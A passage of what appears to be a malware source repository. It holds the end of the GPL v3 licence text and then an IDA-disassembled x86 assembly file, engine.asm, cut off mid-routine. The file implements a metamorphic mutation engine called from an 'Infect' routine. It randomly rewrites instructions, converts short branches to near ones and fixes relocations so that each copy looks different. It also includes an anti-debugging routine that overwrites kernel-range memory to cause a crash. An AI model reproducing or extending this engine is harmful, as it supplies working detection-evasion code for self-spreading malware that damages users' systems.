of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /src/engine.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; ___________________________________________________________________________ 3 | ; _ This file is generated by The Interactive Disassembler (IDA) _ 4 | ; _ Copyright (c) 2005 by DataRescue sa/nv, _ 5 | ; ___________________________________________________________________________ 6 | ; 7 | ; ___________________________________________________________________________ 8 | ; START OF FUNCTION CHUNK FOR MetaEngine 9 | .code 10 | include helper_functions.asm 11 | .code ;mv 12 | AntiDebug: ; CODE XREF: CODE:00401068j 13 | ; MetaEngine+1E9j 14 | cmp byte ptr [ebx+7], 0BFh ; are we in kernel mode? 15 | jnz short ret_AntiDebug 16 | mov ecx, 1000h ; counter = 1000h 17 | mov edi, 40000000h 18 | or edi, 80000000h 19 | add edi, ecx ; edi = C0001000h 20 | rep stosd ; copy bytes to edi 21 | 22 | ret_AntiDebug: ; CODE XREF: MetaEngine-17j 23 | retn ; return 24 | ; END OF FUNCTION CHUNK FOR MetaEngine ; this will result in a crash 25 | ; since this routine wasn't CALLed 26 | 27 | ; _______________ S U B R O U T I N E _______________________________________ 28 | 29 | ; Attributes: bp-based frame 30 | 31 | MetaEngine proc near ; CODE XREF: Infect+11Bp 32 | 33 | .data ;mv 34 | RelocStart = dword ptr -8 35 | RelocCurrent = dword ptr -4 36 | inBuf = dword ptr 8 37 | sizeOfCode = dword ptr 0Ch 38 | outBuf = dword ptr 10h 39 | 40 | .code ;mv 41 | push ebp 42 | mov ebp, esp 43 | sub esp, 8 44 | push ebx 45 | push esi ; save registers 46 | push edi 47 | mov eax, [ebp+sizeOfCode] ; eax = size of code 48 | shl eax, 4 ; multiply by 16 49 | push eax 50 | call callVirtualAlloc ; allocate memory 51 | mov [ebp+RelocStart], eax ; save pointer 52 | mov [ebp+RelocCurrent], eax 53 | mov esi, [ebp+inBuf] ; esi = *source buffer 54 | mov edi, [ebp+outBuf] ; edi = *destination buffer 55 | 56 | LoadInstruction: ; CODE XREF: MetaEngine+52j 57 | ; MetaEngine+ABj ... 58 | ; print "LoadInstruction", 10, 13 59 | mov ebx, [ebp+RelocCurrent] 60 | ; print "LoadInstruction2", 10, 13 61 | add [ebp+RelocCurrent], 10h ; allocate 16 bytes for each instruction 62 | mov [ebx], esi ; set Pointer to Instruction in the Input Buffer 63 | mov [ebx+4], edi ; set Pointer to Mutated Instruction in Output Buffer 64 | xor eax, eax ; eax = 0 65 | mov [ebx+8], eax ; set Pointer to offset of New Relative = 0 66 | cmp esi, [ebp+inBuf] ; are we in the beginning of the code? 67 | ; print "Before: jz isJccShort", 10, 13 68 | jz isJccShort ; yes, start analyzing the code 69 | ; print "After: jz isJccShort", 10, 13 70 | mov eax, esi ; eax = *current instruction 71 | sub eax, [ebp+inBuf] ; eax -= *start address 72 | cmp eax, [ebp+sizeOfCode] ; are we done? 73 | jnb FixRelocations 74 | mov al, [esi] ; al = opcode 75 | cmp al, 90h ; NOP? 76 | jnz short isPushR32 77 | add esi, 1 ; increase counter (instruction not stored) 78 | jmp short LoadInstruction ; load next instruction 79 | ; ___________________________________________________________________________ 80 | 81 | isPushR32: ; CODE XREF: MetaEngine+4Dj 82 | ; print "isPushR32", 10, 13 83 | mov cl, [edi-1] ; cl = last written byte 84 | cmp cl, 50h ; PUSH EAX? 85 | jb isJccShort 86 | cmp cl, 52h ; PUSH EAX/ECX/EDX? 87 | ja isJccShort 88 | mov eax, [ebx] ; eax = [ebx] = [[DisasmCurrent]] 89 | sub eax, [ebx-10h] ; eax -= [[DisasmCurrent]-16] 90 | cmp eax, 1 ; was it only a 1-byte instruction? 91 | jnz isJccShort ; no, disasm next instruction 92 | call Rnd7 ; returns random eax (0 to 7) 93 | jnz isJccShort ; mutate? 94 | sub cl, 50h ; get the register used 95 | 96 | MutatePush: ; CODE XREF: MetaEngine+D0j 97 | ; MetaEngine+EAj 98 | call Random ; get random number 99 | and al, 3 ; make it between 0 - 3 100 | cmp al, 1 ; al = 1? 101 | jz short MakeMovRegRandom32 102 | cmp al, 2 ; al = 2? 103 | jz short MakeOpRegRandomReg 104 | cmp al, 3 ; al = 3? 105 | jz short MakeMovRegRandom8 106 | mov al, 8Bh ; al = MOV r32, r/m32 107 | stosb ; store 108 | mov al, cl ; al = register 109 | rol al, 3 ; place it in the [reg/opcode] field 110 | or al, 1000101b ; set [mod] = 01, [reg] = 101 (ebp) 111 | stosb ; store 112 | call Random ; get random number 113 | and al, 3Ch ; make it between 0 to 3C 114 | stosb ; store 115 | jmp LoadInstruction 116 | ; ___________________________________________________________________________ 117 | 118 | MakeMovRegRandom32: ; CODE XREF: MetaEngine+8Ej 119 | mov al, cl ; al = register 120 | add al, 0B8h ; MOV r32,imm32 121 | stosb ; store 122 | call GetRandomDword ; get random dword 123 | stosd ; store dword 124 | jmp LoadInstruction 125 | ; ___________________________________________________________________________ 126 | 127 | MakeOpRegRandomReg: ; CODE XREF: MetaEngine+92j 128 | call Random ; get random number 129 | mov ah, al ; save it in ah 130 | or ah, 11000000b ; set [mod] = 11 131 | and ah, 11111000b ; clear [reg] field 132 | cmp ah, 11111000b ; is [reg/opcode] == 111 (CMP)? 133 | jz short MutatePush ; try another mutation 134 | mov al, 81h ; al = OP r/m32, imm32 135 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 136 | stosb ; store 137 | mov al, ah ; al = random ModRM 138 | add al, cl ; add register 139 | stosb ; store 140 | call GetRandomDword ; get random dword 141 | stosd ; store dword 142 | jmp LoadInstruction 143 | ; ___________________________________________________________________________ 144 | 145 | MakeMovRegRandom8: ; CODE XREF: MetaEngine+96j 146 | mov al, [edi-1] ; al = last written opcode 147 | cmp al, 54h ; PUSH ESP/EBP/ESI/EDI? 148 | jnb short MutatePush ; avoid 149 | call Random ; get random number 150 | and al, 100b ; make it 0 to 4 151 | add al, cl ; add register 152 | add al, 0B0h ; al = MOV r8, imm8 153 | stosb ; store 154 | call Random ; get random byte 155 | stosb ; store 156 | jmp LoadInstruction 157 | ; ___________________________________________________________________________ 158 | 159 | isJccShort: ; CODE XREF: MetaEngine+35j 160 | ; MetaEngine+5Aj ... 161 | ; print "isJccShort", 10, 13 162 | mov al, [esi] ; al = opcode 163 | cmp al, 70h ; is it a Jcc? 164 | jb short isBranchShort 165 | cmp al, 80h ; if it's between 70h to 7Fh, it is a Jcc 166 | jb short ModifyJcc 167 | cmp al, 0EBh ; is it a JMP short? 168 | jnz short isBranchShort 169 | mov al, 0E9h ; Generate a JMP near 170 | jmp short ModifyJccAddress 171 | ; ___________________________________________________________________________ 172 | 173 | ModifyJcc: ; CODE XREF: MetaEngine+10Bj 174 | mov byte ptr [edi], 0Fh ; set 0F opcode 175 | add al, 10h ; add 10h 176 | ; (70 xx = JO short xx) 177 | ; (0F 80 xx = JO near xx) 178 | add edi, 1 ; increase output counter 179 | 180 | ModifyJccAddress: ; CODE XREF: MetaEngine+113j 181 | stosb ; store 182 | mov [ebx+8], edi ; save edi in the OffsetNewRelative field 183 | mov al, [esi+1] ; al = relative address 184 | add al, 2 ; al += 2, because we added two bytes 185 | call InvertSign 186 | mov [ebx+0Ch], eax ; save eax in the NewRelative field 187 | add esi, 2 ; increase code pointer by 2 188 | add edi, 4 ; increase output pointer by 4 (dword) 189 | jmp LoadInstruction 190 | ; ___________________________________________________________________________ 191 | 192 | isBranchShort: ; CODE XREF: MetaEngine+107j 193 | ; MetaEngine+10Fj 194 | ; print "isBranchShort", 10, 13 195 | cmp al, 0E8h ; a CALL short? 196 | jz short ModifyBranchAddress 197 | cmp al, 0E9h ; a JMP short? 198 | jz short ModifyBranchAddress 199 | cmp al, 0Fh ; a special opcode 0F? 200 | jnz short isEspUsed 201 | mov cl, [esi+1] ; get next byte 202 | cmp cl, 80h ; Jcc near? 203 | jb AbortEngine ; is it between 80h and 90h? 204 | cmp cl, 90h ; The engine doesn't support 0F xx instructions 205 | jnb AbortEngine 206 | stosb ; store 0F opcode 207 | add esi, 1 ; increase code pointer 208 | mov al, cl ; al = second opcode 209 | 210 | ModifyBranchAddress: ; CODE XREF: MetaEngine+13Bj 211 | ; MetaEngine+13Fj 212 | stosb ; save branch type 213 | mov [ebx+8], edi ; save edi in the OffsetNewRelative field 214 | add esi, 1 ; increase code pointer 215 | lodsd ; load the address 216 | add eax, 4 ; eax += 4 217 | sub eax, [ebx+4] ; get OutputIP 218 | add eax, edi ; add OutputBuffer 219 | mov [ebx+0Ch], eax ; save eax in the NewRelative field 220 | add edi, 4 ; increase output pointer by 4 (dword) 221 | jmp LoadInstruction 222 | ; ___________________________________________________________________________ 223 | 224 | isEspUsed: ; CODE XREF: MetaEngine+143j 225 | cmp al, 81h ; OP r/m32, imm32? 226 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 227 | jnz short isRet_isC0_is83 228 | mov ah, [esi+1] ; ah = ModRM 229 | cmp ah, 0C4h ; ADD ESP, imm32? 230 | jz short Store6Bytes ; avoid 231 | cmp ah, 0ECh ; SUB ESP, imm32? 232 | jnz short isRet_isC0_is83 ; avoid 233 | 234 | Store6Bytes: ; CODE XREF: MetaEngine+185j 235 | mov cl, 6 236 | jmp StoreBytes 237 | ; ___________________________________________________________________________ 238 | 239 | isRet_isC0_is83: ; CODE XREF: MetaEngine+17Dj 240 | ; MetaEngine+18Aj 241 | cmp al, 0C3h ; RET? 242 | jnb short isD0_D4 243 | cmp al, 0C0h ; OP r/m8, imm8? 244 | ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR) 245 | jnb short Store3Bytes 246 | cmp al, 83h ; OP r/m32, imm8? 247 | ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) 248 | jnz short isD0_D4 249 | mov ah, [esi+1] ; ah = ModRM 250 | cmp ah, 0C4h ; ADD ESP, imm8? 251 | jz short Store3Bytes ; avoid 252 | cmp ah, 0ECh ; SUB ESP, imm8? 253 | jnz short isD0_D4 ; avoid 254 | 255 | Store3Bytes: ; CODE XREF: MetaEngine+199j 256 | ; MetaEngine+1A5j 257 | mov cl, 3 258 | jmp StoreBytes 259 | ; ___________________________________________________________________________ 260 | 261 | isD0_D4: ; CODE XREF: MetaEngine+195j 262 | ; MetaEngine+19Dj ... 263 | cmp al, 0D0h ; OP r/m8, imm8? 264 | ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR) 265 | jb short isInt_isMovEbpEsp 266 | cmp al, 0D4h ; D0 - D3 267 | jb short Store2Bytes ; avoid 268 | 269 | isInt_isMovEbpEsp: ; CODE XREF: MetaEngine+1B5j 270 | cmp al, 0CDh ; INT? 271 | jz short Store2Bytes ; avoid 272 | cmp al, 8Bh ; MOV r32, r/m32? 273 | jnz short isRep_isF6_isF7 274 | cmp byte ptr [esi+1], 0ECh ; 8B EC = MOV EBP, ESP 275 | jz short CheckRegOpcodeField 276 | 277 | isRep_isF6_isF7: ; CODE XREF: MetaEngine+1C1j 278 | cmp al, 0F3h ; REP prefix? 279 | jz short Store2Bytes ; avoid 280 | cmp al, 0F6h ; OP r/m8? 281 | ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) 282 | jz short CheckRegOpcodeField 283 | cmp al, 0F7h ; OP r/m32? 284 | ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) 285 | jnz short isInt3_Ret_PushReg 286 | 287 | CheckRegOpcodeField: ; CODE XREF: MetaEngine+1C7j 288 | ; MetaEngine+1CFj 289 | mov ah, [esi+1] ; ah = ModRM 290 | and ah, 111000b ; save [reg/opcode] field 291 | cmp ah, 0 ; is it empty? 292 | jz short isInt3_Ret_PushReg ; yes, skip 293 | 294 | Store2Bytes: ; CODE XREF: MetaEngine+1B9j 295 | ; MetaEngine+1BDj ... 296 | mov cl, 2 297 | jmp StoreBytes 298 | ; ___________________________________________________________________________ 299 | 300 | isInt3_Ret_PushReg: ; CODE XREF: MetaEngine+1D3j 301 | ; MetaEngine+1DEj 302 | cmp al, 0CCh ; INT 3? 303 | jz AntiDebug 304 | cmp al, 0C3h ; RET? 305 | jz short StoreOneByteOpcode 306 | cmp al, 50h ; PUSH r32 / POP r32? 307 | jb short isMovTestRmReg 308 | cmp al, 60h ; check if it's between 50 to 60 309 | jnb short isMovTestRmReg 310 | 311 | StoreOneByteOpcode: ; CODE XREF: MetaEngine+1F1j 312 | movsb ; copy one byte from source to destination 313 | jmp LoadInstruction 314 | ; ___________________________________________________________________________ 315 | 316 | isMovTestRmReg: ; CODE XREF: MetaEngine+1F5j 317 | ; MetaEngine+1F9j 318 | cmp al, 88h ; MOV r/m8, r8? 319 | jz short Mutate? 320 | cmp al, 89h ; MOV r/m32, r32? 321 | jz short Mutate? 322 | cmp al, 84h ; TEST r/m8, r8? 323 | jz short Mutate? 324 | cmp al, 85h ; TEST r/m32, r32? 325 | jz short Mutate? 326 | cmp al, 40h ; is opcode < 40? 327 | jnb short isMovLeaRegRm 328 | mov ah, al ; ah = opcode 329 | and ah, 111b ; save last 3 bits 330 | cmp ah, 0 ; OP r/m8, r8 331 | jz short Mutate? 332 | cmp ah, 1 ; OP r/m32, r32? 333 | jnz short isMovLeaRegRm 334 | 335 | Mutate?: ; CODE XREF: MetaEngine+203j 336 | ; MetaEngine+207j ... 337 | call Rnd7 ; returns random eax (0 to 7) 338 | jz short CheckModRM ; mutate if eax = 0 (1/8 probability) 339 | jmp StoreDisplacementPlus2 ; else, skip this instruction 340 | ; ___________________________________________________________________________ 341 | 342 | CheckModRM: ; CODE XREF: MetaEngine+229j 343 | mov cl, [esi+1] ; cl = ModRM 344 | and cl, 11000000b ; save the [mod] field 345 | cmp cl, 0 ; [mod] == 00? 346 | jz short jmp_Mutate 347 | cmp cl, 11000000b ; [mod] == 11? 348 | jz short jmp_Mutate 349 | call Random ; get random number 350 | and al, 1 ; make it 0 or 1 351 | cmp al, 0 ; is it 0? 352 | jz Morph1 ; mutate 353 | 354 | jmp_Mutate: ; CODE XREF: MetaEngine+239j 355 | ; MetaEngine+23Ej 356 | jmp Morph2 ; mutate 357 | ; ___________________________________________________________________________ 358 | 359 | isMovLeaRegRm: ; CODE XREF: MetaEngine+213j 360 | ; MetaEngine+222j 361 | cmp al, 8Ah ; MOV r8, r/m8? 362 | jz short _Mutate? 363 | cmp al, 8Bh ; MOV r32, r/m32? 364 | jz short _Mutate? 365 | cmp al, 8Dh ; LEA r32, mem? 366 | jz short _Mutate? 367 | cmp al, 40h ; is opcode < 40? 368 | jnb short isFE_isFF 369 | mov ah, al 370 | and ah, 111b ; keep last 3 bits 371 | cmp ah, 2 ; OP r8, r/m8? 372 | jz short _Mutate? 373 | cmp ah, 3 ; OP r32, r/m32? 374 | jnz short isFE_isFF 375 | 376 | _Mutate?: ; CODE XREF: MetaEngine+256j 377 | ; MetaEngine+25Aj ... 378 | call Rnd7 ; returns random eax (0 to 7) 379 | jz short _CheckModRM ; mutate if eax = 0 (1/8 probability) 380 | jmp StoreDisplacementPlus2 ; else, skip this instruction 381 | ; ___________________________________________________________________________ 382 | 383 | _CheckModRM: ; CODE XREF: MetaEngine+278j 384 | mov cl, [esi+1] ; cl = ModRM 385 | and cl, 11000000b ; save the [mod] field 386 | cmp cl, 0 ; [mod] == 00? 387 | jz short _jmp_Mutate 388 | cmp cl, 11000000b ; [mod] == 11? 389 | jz short _jmp_Mutate 390 | call Random ; get random number 391 | and al, 1 ; make it 1 or 0 392 | cmp al, 0 ; is it zero? 393 | jz Morph1 ; mutate 394 | 395 | _jmp_Mutate: ; CODE XREF: MetaEngine+288j 396 | ; MetaEngine+28Dj 397 | jmp Morph3 ; mutate 398 | ; ___________________________________________________________________________ 399 | 400 | isFE_isFF: ; CODE XREF: MetaEngine+262j 401 | ; MetaEngine+271j 402 | cmp al, 0FEh ; INC/DEC r/m8? 403 | jz short MakeMovRegPushReg 404 | cmp al, 0FFh ; OP r/m32? 405 | ; (INC/DEC/JMP/CALL/PUSH) 406 | jnz short isMovReg8Imm8? 407 | 408 | MakeMovRegPushReg: ; CODE XREF: MetaEngine+2A5j 409 | mov al, [esi+1] ; al = ModRM 410 | and al, 111000b ; keep the [reg/opcode] field 411 | ror al, 3 ; place it in the [reg] field 412 | cmp al, 111b ; opcode == 111? 413 | jz AbortEngine ; exit engine 414 | cmp al, 110b ; opcode != 110 (PUSH)? 415 | jnz StoreDisplacementPlus2 ; skip 416 | mov al, 8Bh ; Generate MOV EAX, r/m32 417 | stosb ; store 418 | mov al, [esi+1] ; al = ModRM 419 | and al, 11000111b ; keep [mod] and [reg] fields 420 | ; set [reg/opcode] = 000 421 | stosb ; store ModRM byte 422 | call CheckDisplacement ; returns cl: 0, 1 or 4 423 | add esi, 2 ; increase code counter by 2 424 | rep movsb ; store address 425 | mov al, 50h ; Generate PUSH EAX 426 | stosb ; store 427 | jmp LoadInstruction 428 | ; ___________________________________________________________________________ 429 | 430 | isMovReg8Imm8?: ; CODE XREF: MetaEngine+2A9j 431 | cmp al, 0B0h ; MOV r8, imm8? 432 | jb short isMovReg32Imm32 433 | cmp al, 0B8h ; check if it's between B0 to B8 434 | jnb short isMovReg32Imm32 435 | call Rnd7 ; returns random eax (0 to 7) 436 | jz short MakeAddRegRandom8 ; mutate? 437 | mov cl, 2 ; skip 438 | jmp StoreBytes 439 | ; ___________________________________________________________________________ 440 | 441 | MakeAddRegRandom8: ; CODE XREF: MetaEngine+2EBj 442 | ; 